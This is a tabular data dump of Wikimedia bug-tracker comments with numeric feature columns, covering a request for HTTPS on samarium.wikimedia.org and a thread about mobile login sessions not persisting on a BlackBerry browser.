**URL**: https://samarium.wikimedia.org/",Low,25.0,1364960940,1366134775.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-vql2qsqvkweuyniqcubs,task_description,resolved,True,c2,1,True,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.625,"I keep getting redirected to URL by HTTPS Everywhere in Chrome. It'd be nice if this worked.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: URL"
227152,samarium.wikimedia.org should support HTTPS,"**mwalker** wrote:

Samarium is know available via SSL at https://frdata.wikimedia.org/",,,1366134775,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.8125,"**mwalker** wrote:

Samarium is know available via SSL at URL"
227144,samarium.wikimedia.org should support HTTPS,"(In reply to comment #2)
> (In reply to comment #1)
> > We're working on it but this is not a high priority.
> 
> Okay. Good to know.
> 
> > Alternatively you can file a bug with the EFF for making software that
> > doesn't actually work in 100% of cases and doesn't gracefully degrade.
> 
> I believe Roan has worked on this on GitHub. I think they accept pull
> requests.
> We provided some of the rules at some point, but surely we didn't tell them
> that everything under *.wikimedia.org would support HTTPS. Perhaps the rules
> need tweaking here or the fallback logic needs a once-over or there's not
> enough reporting to the user or something. I agree that it should be
> investigated.
> 
> This bug is about the Wikimedia side of things.

They're here: https://git.torproject.org/https-everywhere.git
Rules are in src/chrome/content/rules/Wikimedia.xml
It expects all Wikimedia hosts to support HTTPS except the ones covered by the exclusion patterns:
^http://(apt|bayes|bayle|brewster|bug-attachment|commonsprototype\.tesla\.usability|commons\.prototype|cs|cz|dataset2|de\.prototype|download|dumps|ekrem|emery|en\.prototype|ersch|etherpad|flaggedrevssandbox|flgrevsandbox|gallium|ganglia|ganglia3|harmon|hume|ipv4\.labs|ipv6and4\.labs|jobs|mlqt\.tesla\.usability|mobile\.tesla\.usability|m|nagios|oldusability|project2|prototype|results\.labs|search|shop|sitemap|snapshot3|stafford|stats|status|test\.prototype|torrus|ubuntu|wiki-mail|yongle|wikitech|wlm)\.wikimedia\.org
^http://(static|download)\.wikipedia\.org/",,,1365033063,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,True,,,-21,True,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,30.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,2.0,7.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.397590361445783,0.4819277108433735,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They're here: URL
Rules are in src/chrome/content/rules/Wikimedia.xml
It expects all Wikimedia hosts to support HTTPS except the ones covered by the exclusion patterns:
^URL
^URL"
227137,samarium.wikimedia.org should support HTTPS,"(In reply to comment #1)
> We're working on it but this is not a high priority.

Okay. Good to know.

> Alternatively you can file a bug with the EFF for making software that
> doesn't actually work in 100% of cases and doesn't gracefully degrade.

I believe Roan has worked on this on GitHub. I think they accept pull requests. We provided some of the rules at some point, but surely we didn't tell them that everything under *.wikimedia.org would support HTTPS. Perhaps the rules need tweaking here or the fallback logic needs a once-over or there's not enough reporting to the user or something. I agree that it should be investigated.

This bug is about the Wikimedia side of things.",,,1365032373,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,True,,,-21,True,1.0,2.0,0.0,1.0,1.5,2.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,3.0,0.0,5.5,9.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.5,2.0,1.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,11.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,2.0,10.0,2.0,3.0,7.5,0.0,0.0,0.0,0.5,3.5,0.5,0.5,0.0,5.0,9.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,3.8154220779220775,0.811038961038961,"(In reply to comment #1)
QUOTE

Okay. Good to know.

QUOTE
QUOTE

I believe Roan has worked on this on GitHub. I think they accept pull requests. We provided some of the rules at some point, but surely we didn't tell them that everything under *.wikimedia.org would support HTTPS. Perhaps the rules need tweaking here or the fallback logic needs a once-over or there's not enough reporting to the user or something. I agree that it should be investigated.

This bug is about the Wikimedia side of things."
227129,samarium.wikimedia.org should support HTTPS,"**mwalker** wrote:

We're working on it but this is not a high priority. Alternatively you can file a bug with the EFF for making software that doesn't actually work in 100% of cases and doesn't gracefully degrade.",,,1365006053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,False,,,-21,True,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.6530612244897958,0.8571428571428571,"**mwalker** wrote:

We're working on it but this is not a high priority. Alternatively you can file a bug with the EFF for making software that doesn't actually work in 100% of cases and doesn't gracefully degrade."
48241,"Allow mobile users to be ""remembered"" on login.","Currently, there is no ""remember me"" checkbox on the mobile site for en.wikipedia.  This means that every-time my browser crashes or I close it, I have to re-login to check my Watchlist.  This results in me having to login 20 times a day on average and has driven me away from using the mobile site.  Would like to see this checkbox added to the mobile login page, even if it is only ""remember me for today.""

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1363530600,1370278303.0,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_description,declined,True,c2,1,False,False,True,-24,True,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.5,5.0,0.0,3.0,9.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,3.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,5.5,1.5,1.5,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,6.0,9.0,1.0,0.0,3.0,0.0,6.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,0.0,3.616071428571429,0.75,"Currently, there is no ""remember me"" checkbox on the mobile site for en.wikipedia.  This means that every-time my browser crashes or I close it, I have to re-login to check my Watchlist.  This results in me having to login 20 times a day on average and has driven me away from using the mobile site.  Would like to see this checkbox added to the mobile login page, even if it is only ""remember me for today.""

--------------------------
**Version**: unspecified
**Severity**: normal"
215553,"Allow mobile users to be ""remembered"" on login.","Since we have been totally unable to replicate the problem, it sounds like a very device-specific issue, and no one else has reported similar issues, I am closing this as 'worksforme'. If anyone else is experiencing the issue or can replicate this problem, we can reopen the bug.",,,1370278303,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,2.0,3.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,5.0,2.0,5.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.0,0.7586206896551724,"Since we have been totally unable to replicate the problem, it sounds like a very device-specific issue, and no one else has reported similar issues, I am closing this as 'worksforme'. If anyone else is experiencing the issue or can replicate this problem, we can reopen the bug."
215548,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #13)
> Shoemaker, have you tried using a different browser on your device? Also,
> have
> you experienced issues with login on other sites?

My device can't handle adding another browser, I tried and it locked up forcing me to have to reset the device to factory again.  Another strange thing on that device I don't remember if I mentioned before and may not be relevant; when I am at the login screen and try to login, it hangs when I hit the login button.  What I have to do is hit login, hit stop, then hit login again and it goes right through.  It is very curious and I do not know if this might be somehow related.",,,1369916923,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,1.0,1.0,2.5,2.5,3.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,5.5,0.0,10.0,8.0,0.0,3.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,0.0,0.0,6.0,1.5,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,9.5,1.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,9.5,3.0,3.5,4.5,0.0,0.0,0.0,0.5,7.5,0.0,0.5,0.0,8.5,8.0,0.5,0.0,0.0,0.0,8.5,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.0,3.435483870967742,0.7096774193548387,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE

My device can't handle adding another browser, I tried and it locked up forcing me to have to reset the device to factory again.  Another strange thing on that device I don't remember if I mentioned before and may not be relevant; when I am at the login screen and try to login, it hangs when I hit the login button.  What I have to do is hit login, hit stop, then hit login again and it goes right through.  It is very curious and I do not know if this might be somehow related."
215544,"Allow mobile users to be ""remembered"" on login.",Marking as lower importance as we've had no other reports. Still very curious to why this isn't working though and keen to fix.,,,1369330071,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,19.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,3.888888888888889,0.8888888888888888,Marking as lower importance as we've had no other reports. Still very curious to why this isn't working though and keen to fix.
215540,"Allow mobile users to be ""remembered"" on login.","Shoemaker, have you tried using a different browser on your device? Also, have you experienced issues with login on other sites?",,,1368464339,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.32,0.8,"Shoemaker, have you tried using a different browser on your device? Also, have you experienced issues with login on other sites?"
215534,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #11)
> No problems with the office Blackberry 9800.... ShoeMaker is it possible you
> have any browser privacy settings?
> 
> Reading this [1] it could be related to memory - could you try trying
> clearing
> the CONTENT CACHE and the PUSHED CONTENT ?
> 
> [1]
> http://forums.crackberry.com/blackberry-curve-83xx-f52/browser-issue-keep-
> getting-kicked-out-after-logging-websites-573105/

I've cleared the cache and pushed content many times (makes me have to log back into everything, so annoying).  I've eliminated all except the most essential programs (home, phone, mail, and browser are the only ones left running.  I also have all privacy settings turned off so anything can come in.  Any other ideas?",,,1368237091,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,4.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,4.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,2.0,2.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,8.0,8.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.515151515151515,0.6161616161616161,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've cleared the cache and pushed content many times (makes me have to log back into everything, so annoying).  I've eliminated all except the most essential programs (home, phone, mail, and browser are the only ones left running.  I also have all privacy settings turned off so anything can come in.  Any other ideas?"
215527,"Allow mobile users to be ""remembered"" on login.","No problems with the office Blackberry 9800.... ShoeMaker is it possible you have any browser privacy settings?

Reading this [1] it could be related to memory - could you try trying clearing the CONTENT CACHE and the PUSHED CONTENT ?

[1] http://forums.crackberry.com/blackberry-curve-83xx-f52/browser-issue-keep-getting-kicked-out-after-logging-websites-573105/",,,1368231678,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,18.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,4.0,10.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,8.0,4.08,0.78,"No problems with the office Blackberry 9800.... ShoeMaker is it possible you have any browser privacy settings?

Reading this [1] it could be related to memory - could you try trying clearing the CONTENT CACHE and the PUSHED CONTENT ?

[1] URL"
215520,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #9)
> Jeez, that's really irritating. This sounds like a totally different problem
> than what Jon/Brion mentioned earlier in comments 4 and 5. Should have asked
> you earlier - what browser are you using? Does the same behavior happen with
> other browsers on the same device?
> 
> Michelle, Jon - do we have a device we can replicate this behavior on?

alert(navigator.userAgent); returns:
Mozilla/5.0 (BlackBerry; U; BlackBerry 9330; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) version.6.0.0.706 Mobile Safari/543.8+",,,1366940042,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0576923076923075,0.5961538461538461,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

alert(navigator.userAgent); returns:
Mozilla/5.0 (BlackBerry; U; BlackBerry 9330; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) version.6.0.0.706 Mobile Safari/543.8+"
215512,"Allow mobile users to be ""remembered"" on login.","Jeez, that's really irritating. This sounds like a totally different problem than what Jon/Brion mentioned earlier in comments 4 and 5. Should have asked you earlier - what browser are you using? Does the same behavior happen with other browsers on the same device?

Michelle, Jon - do we have a device we can replicate this behavior on?",,,1366935731,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,9.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,12.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,9.0,7.0,4.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,4.072463768115942,0.7536231884057971,"Jeez, that's really irritating. This sounds like a totally different problem than what Jon/Brion mentioned earlier in comments 4 and 5. Should have asked you earlier - what browser are you using? Does the same behavior happen with other browsers on the same device?

Michelle, Jon - do we have a device we can replicate this behavior on?"
215506,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #7)
> ShoeMaker, if you log in to the mobile site, close your browser, and
> immediately reopen it, are you still logged in? I ask because I'm wondering
> if the problem you are experiencing is the same as what Jon/Brion mention in
> Comments 4 and 5, or if you're experiencing an actual issue with your session
> being preserved.

Okay, for me it works like this: If I'm logged into the mobile site and I close the browser and open it right back up instantly, I'm ""usually"" okay.  If I close it and try to open it back up 5 minutes later, I have to log back in.  If I have it open and I'm walking down the street and my phone picks up a different hotspot and I get a new IP address or if my provider switches towers, I get logged out between pages without closing. If I click on the desktop link on the bottom of the page to make an edit from mobile, I have to log back in.  If I click on mobile from the bottom of the page while on desktop, I have to log back in.  The ""only"" way I can stay logged in is if I stay in desktop version, and even then every 24-36 hours I need to log back in.  I use a BlackBerry Curve 9330/6.0.0.706 if that is of any importance, and I can get you a full JavaScript userAgent string if you need it.",,,1366935084,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,0.0,0.0,3.3333333333333335,2.6666666666666665,1.0,0.0,0.3333333333333333,0.0,7.666666666666667,0.0,6.333333333333333,15.333333333333334,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,2.0,0.6666666666666666,1.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,11.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,12.666666666666666,3.6666666666666665,3.3333333333333335,6.666666666666667,0.0,0.0,0.0,0.3333333333333333,4.0,0.3333333333333333,1.6666666666666667,0.0,10.666666666666666,15.333333333333334,3.0,0.0,1.6666666666666667,0.0,10.666666666666666,0.0,0.0,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,3.2376392946013204,0.6356161419452558,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Okay, for me it works like this: If I'm logged into the mobile site and I close the browser and open it right back up instantly, I'm ""usually"" okay.  If I close it and try to open it back up 5 minutes later, I have to log back in.  If I have it open and I'm walking down the street and my phone picks up a different hotspot and I get a new IP address or if my provider switches towers, I get logged out between pages without closing. If I click on the desktop link on the bottom of the page to make an edit from mobile, I have to log back in.  If I click on mobile from the bottom of the page while on desktop, I have to log back in.  The ""only"" way I can stay logged in is if I stay in desktop version, and even then every 24-36 hours I need to log back in.  I use a BlackBerry Curve 9330/6.0.0.706 if that is of any importance, and I can get you a full JavaScript userAgent string if you need it."
215499,"Allow mobile users to be ""remembered"" on login.","ShoeMaker, if you log in to the mobile site, close your browser, and immediately reopen it, are you still logged in? I ask because I'm wondering if the problem you are experiencing is the same as what Jon/Brion mention in Comments 4 and 5, or if you're experiencing an actual issue with your session being preserved.",,,1366929103,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,4.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,1.0,3.0,9.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,6.0,4.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,13.0,15.0,4.0,1.0,0.0,0.0,13.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,3.8955223880597014,0.7313432835820896,"ShoeMaker, if you log in to the mobile site, close your browser, and immediately reopen it, are you still logged in? I ask because I'm wondering if the problem you are experiencing is the same as what Jon/Brion mention in Comments 4 and 5, or if you're experiencing an actual issue with your session being preserved."
215496,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #3)
> This should happen by default. There is no check box by design. This is
> possibly related to this particular device... out of interest when you visit
> the site do you get redirected to the https version?

It does.",,,1363641256,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.611111111111111,0.7777777777777778,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

It does."
215492,"Allow mobile users to be ""remembered"" on login.","Yes, we'll have to change the system to save multiple long-term tokens so multiple devices ""just work"" as expected. (May want to add a dependency bug for this.)",,,1363640438,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.868421052631579,"Yes, we'll have to change the system to save multiple long-term tokens so multiple devices ""just work"" as expected. (May want to add a dependency bug for this.)"
215488,"Allow mobile users to be ""remembered"" on login.","According to Brion the remember my login token is only valid on one device so if you log in on desktop it will log you out of mobile. Owch. This should be fixed.

Sue was also reporting same behaviour..",,,1363640357,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,18.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,9.0,18.0,7.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.75,0.8863636363636364,"According to Brion the remember my login token is only valid on one device so if you log in on desktop it will log you out of mobile. Owch. This should be fixed.

